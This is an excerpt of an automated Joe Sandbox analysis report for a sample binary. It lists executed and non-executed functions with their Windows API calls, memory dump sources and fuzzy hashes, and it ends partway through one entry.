Instruction Fuzzy Hash: 221103B16447414ACB306E3E8C88672BE97A796330B38075AD1B6D36F1C670E886D721

Function 00684935 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(006A56B0,0000000C), ref: 00684948
ExitThread.KERNEL32 ref: 0068494F

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: 2981286c6b623f06cc5c0e9aefe1d763bb9d46665a784ed3b3e8d7f50effc297
Instruction ID: 0e6476225522dc24f3f6e82e14a5bee07690fb60c9a7a1efbf26f5ea3b0461dd
Opcode Fuzzy Hash: 2981286c6b623f06cc5c0e9aefe1d763bb9d46665a784ed3b3e8d7f50effc297
Instruction Fuzzy Hash: 4EF0AFB0940205AFDB10BFB0C80AA6E7B76EF42711F21424DF506972A2DF71A941CFA5

Function 00671B70 Relevance: 3.0, APIs: 2, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00671B98
GetModuleFileNameA.KERNEL32 ref: 00671BB8

Part of subcall function 00671860: CreateFileA.KERNELBASE ref: 006718E3

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: FileModule$CreateHandleName
String ID:
API String ID: 2828212432-0
Opcode ID: e0bdec3f52f82a0c21629b9ccdd5ad1249777169e4508942afe33339388bf6ed
Instruction ID: 84a89f4a26cd2a33869891aba003b78d688439d51e7b3789fcc33957fe0f0e60
Opcode Fuzzy Hash: e0bdec3f52f82a0c21629b9ccdd5ad1249777169e4508942afe33339388bf6ed
Instruction Fuzzy Hash: B6F0F9B090420C8FCB50FF78E84529DBBF5AB45300F4185ADD489D7240EAB469888F86

Function 0068AD27 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,0068F0A4,?,00000000,?,?,0068ED44,?,00000007,?,?,0068F68A,?,?), ref: 0068AD3D
GetLastError.KERNEL32(?,?,0068F0A4,?,00000000,?,?,0068ED44,?,00000007,?,?,0068F68A,?,?), ref: 0068AD48

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 88e31fa775128f9a692cf69e473ea63410cf9117636d6f4a56e50f656775b5ab
Instruction ID: 46be39118a51589ecfb10a0bac737d75272a568e533e5fe28f88fac531f12b86
Opcode Fuzzy Hash: 88e31fa775128f9a692cf69e473ea63410cf9117636d6f4a56e50f656775b5ab
Instruction Fuzzy Hash: 3CE08631100204ABDB113BE4FC09B953B9AEF45759F144225FB09CA575DFB198608B88

Function 00671EA0 Relevance: 1.8, APIs: 1, Instructions: 289COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00671ECA

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 3c42d14018097d1d6f4c490966a9524d2d850aaaf43dae69fde1335827fc2583
Instruction ID: 9db5f2b32fc19d34980e2b1af8beaf09f809349c2aa485d42ccfa1d8ffb159dd
Opcode Fuzzy Hash: 3c42d14018097d1d6f4c490966a9524d2d850aaaf43dae69fde1335827fc2583
Instruction Fuzzy Hash: CCC11574608341CFC744EF28D494A2ABBE2EF89354F00892DF99ACB391EB35D905CB46

Function 0067CE13 Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bdae05ce233b4db8b3042d1fbaca357cda5dc3b048a21382a0e95fae9f69de6
Instruction ID: 16a36990c7c4efd81a2a833d0fdd1c1f6c130bf69e51e311776eaf61721c1744
Opcode Fuzzy Hash: 8bdae05ce233b4db8b3042d1fbaca357cda5dc3b048a21382a0e95fae9f69de6
Instruction Fuzzy Hash: 9541807291011AAFCF14DF68C8909EDB7FAFF09320B54812AE549E7740E735E945DB90

Function 0068BE0D Relevance: 1.6, APIs: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06b6f9b1396755b813bf5cd5eb0ecf82d506522b83bb6baaf27b1a4c4ce9da4f
Instruction ID: 77cc70622ba956e5b09c57936b5f7dc6dbc1c42709244d67c60cc69a55562d26
Opcode Fuzzy Hash: 06b6f9b1396755b813bf5cd5eb0ecf82d506522b83bb6baaf27b1a4c4ce9da4f
Instruction Fuzzy Hash: 9701B5336106159F9B12BF68EC4999B33AFBBC67A47286324F6218B554DB70AC018B94

Function 0068AD61 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,0068CD3A,?,?,0068CD3A,00000220,?,00000000,?), ref: 0068AD93

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6b55822db30f2a9d49307dab2b3a0f1e056ca8ad75f5a18ab91566ffb8a7df7a
Instruction ID: 9ac6ab9d4844955ec504b1f3cf15277ea5646386c617bf7cb485336c67db8348
Opcode Fuzzy Hash: 6b55822db30f2a9d49307dab2b3a0f1e056ca8ad75f5a18ab91566ffb8a7df7a
Instruction Fuzzy Hash: F5E065311402115AF76136E59C01B9B369B9F427A2F294312AC05D6B90EF50DC0187E6

Non-executed Functions

Function 00688D90 Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 455COMMON

Download Yara Rule

Strings

"ti, xrefs: 00688DAE, 00688F46, 00689111, 00689166
"ti, xrefs: 006891F1, 00688FE0

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: "ti$"ti
API String ID: 0-2860212937
Opcode ID: db70b6725760ee1e7b0c82764c85399648d13b1201e1b058b4d747cb3a019c3f
Instruction ID: fc7d49635ef18015c822bf88762ae147e97f4ad7372b1f72ebe7aeb326160e87
Opcode Fuzzy Hash: db70b6725760ee1e7b0c82764c85399648d13b1201e1b058b4d747cb3a019c3f
Instruction Fuzzy Hash: 7B022D71E002199FDF14DFA9C9846EDB7B2FF48314F248269E519A7380D731AA41CB94

Function 00690062 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0068AFB3: GetLastError.KERNEL32(?,?,0068495A,006A56B0,0000000C), ref: 0068AFB7
Part of subcall function 0068AFB3: SetLastError.KERNEL32(00000000), ref: 0068B059

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 0069016A
IsValidCodePage.KERNEL32(00000000), ref: 006901A8
IsValidLocale.KERNEL32(?,00000001), ref: 006901BB
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00690203
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0069021E

Strings

`/j, xrefs: 00690117

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: `/j
API String ID: 415426439-149791257
Opcode ID: 308b5cd0c18f2b1db667afb72a802c5ad72d448a89814eb552d0466943aba5bc
Instruction ID: 1f11625f467105f7a2c4da350eb7f3cc8a1b4bd0c3a4209abb94980fbc59e351
Opcode Fuzzy Hash: 308b5cd0c18f2b1db667afb72a802c5ad72d448a89814eb552d0466943aba5bc
Instruction Fuzzy Hash: 99517F71A00206AFFF10EFA5CC45AFE77BEAF45700F14452AE905E7691EBB09A40CB65

Function 00696102 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1479COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00696319

Strings

1#IND, xrefs: 00696207
1#INF, xrefs: 00696238
1#QNAN, xrefs: 00696215
1#SNAN, xrefs: 0069620E

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 2a8609a9275d808957ee5326c04f803070a0d622c47918a5be45e06a4d791b73
Instruction ID: c5eb369a99eb2a5f7d85f31593ca591799718e98d280551bd071681f9f07ae83
Opcode Fuzzy Hash: 2a8609a9275d808957ee5326c04f803070a0d622c47918a5be45e06a4d791b73
Instruction Fuzzy Hash: B9D22A71E182298FDF65CE28DD407EAB7BAEB54304F1441EAE80DE7640DB74AE858F41

Function 006907C7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00690198,00000002,00000000,?,?,?,00690198,?,00000000), ref: 00690860
GetLocaleInfoW.KERNEL32(?,20001004,00690198,00000002,00000000,?,?,?,00690198,?,00000000), ref: 00690889
GetACP.KERNEL32(?,?,00690198,?,00000000), ref: 0069089E

Strings

OCP, xrefs: 0069081B
ACP, xrefs: 006907E5

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: ccdb9c462406461aba87eb86cd13be2b7448d104036ca815f827901d5dd59f6c
Instruction ID: 5b08a86e6a71c174d02c4fff0a38dc5fbd137bc7324b51e5cff21faf262cb7ef
Opcode Fuzzy Hash: ccdb9c462406461aba87eb86cd13be2b7448d104036ca815f827901d5dd59f6c
Instruction Fuzzy Hash: 91219A22B40101AEFF349F54CB01AE773AFAF90B64B668024E90AD7A14E732DE41C7D0

Function 00690DA9 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00690E99

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 0b25afa2e652940fcf692e9a44cc442c8bb1f8a1fe57df7afecb270986999f7e
Instruction ID: 8d84d1b279ccf537d33fa7b291e57975aff00e86f32b8a591f28cd04fe91f618
Opcode Fuzzy Hash: 0b25afa2e652940fcf692e9a44cc442c8bb1f8a1fe57df7afecb270986999f7e
Instruction Fuzzy Hash: A27101729451599FEF30AF28CC89AFEBBBEAF09300F1442DDE409A7611DA315E859F14

Function 0067E42C Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0067E438
IsDebuggerPresent.KERNEL32 ref: 0067E504
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0067E51D
UnhandledExceptionFilter.KERNEL32(?), ref: 0067E527

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 638dbd6d7710fb3ff6fc4e844cbb20473b6fa37b6bbd1cd9e4265472de1c8e82
Instruction ID: 04d0eb133bafc9a296ec159a0cccd3b660463b56e89b2e4500560ef37ec0b859
Opcode Fuzzy Hash: 638dbd6d7710fb3ff6fc4e844cbb20473b6fa37b6bbd1cd9e4265472de1c8e82
Instruction Fuzzy Hash: 1231E775D0121C9BDB20EFA5D9497CDBBB8AF08304F1041EAE40CAB250EBB19A858F45

Function 0069034E Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 0068AFB3: GetLastError.KERNEL32(?,?,0068495A,006A56B0,0000000C), ref: 0068AFB7
Part of subcall function 0068AFB3: SetLastError.KERNEL32(00000000), ref: 0068B059

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 006903A2
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 006903EC
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 006904B2

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: e65f5e4676c11abe8223515d28e5f0e3794ce78f282ea16e50489ed4343e1631
Instruction ID: 948a3779d2e5aac05385a645f37f6bd261244afd7f5f6f54835a18660fce57ee
Opcode Fuzzy Hash: e65f5e4676c11abe8223515d28e5f0e3794ce78f282ea16e50489ed4343e1631
Instruction Fuzzy Hash: 39616D719501079FEF64EF24CD82BAA77AEEF04700F104169EE05C6A85EB74D981DF94

Function 006872FD Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 006873F5
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 006873FF
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 0068740C

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: cdb718fd106ae1039b262d2622f7438647f9320b38b050ba0d1e94779e078b1d
Instruction ID: ce5594d31c2d4424f41842a088ce63c707c1ebbd5011ef6a01401214d393c701
Opcode Fuzzy Hash: cdb718fd106ae1039b262d2622f7438647f9320b38b050ba0d1e94779e078b1d
Instruction Fuzzy Hash: 7431C4749112299BCB61EF25DD897CDBBB9BF08310F6042EAE41CA7250EB709F858F45

Function 0067EB50 Relevance: 3.0, APIs: 2, Instructions: 27timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,0067EA53,?,?,?,?,0067EA77,000000FF,?,?,?,0067E971,00000000), ref: 0067EB88
GetSystemTimeAsFileTime.KERNEL32(?,81500716,?,?,0069B30E,000000FF,?,0067EA53,?,?,?,?,0067EA77,000000FF,?), ref: 0067EB8C

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: Time$FileSystem$Precise
String ID:
API String ID: 743729956-0
Opcode ID: 481754360e09092e6a7ea09858a3070fede29f89430a9cfac90ce86ae34e7d0d
Instruction ID: 575a410fc159f935e27b6c62767ddec41094ccfcb5a84783a1df481eedff188a
Opcode Fuzzy Hash: 481754360e09092e6a7ea09858a3070fede29f89430a9cfac90ce86ae34e7d0d
Instruction Fuzzy Hash: D4F0A036A44554EBCB11AF44DD00B99BBAEFB49F10F01426AE81293790DB75B8008F94

Function 006943FF Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,0069435A,?,?,?,?,?,?,00000000), ref: 0069462C

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: c3c6f94d52e5d38e073efa1965dcf0ff8e9e6cee636ed40229443ecefd6ed01c
Instruction ID: 89c86eba0660edd86060acee0a26d607048939401d9fe942a655cd63aded0ebf
Opcode Fuzzy Hash: c3c6f94d52e5d38e073efa1965dcf0ff8e9e6cee636ed40229443ecefd6ed01c
Instruction Fuzzy Hash: 11B15C711106088FDB15CF28C48AFA57BE5FF45364F268658E89ACF7A1CB35D992CB40

Function 0067E094 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0067E0AA

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
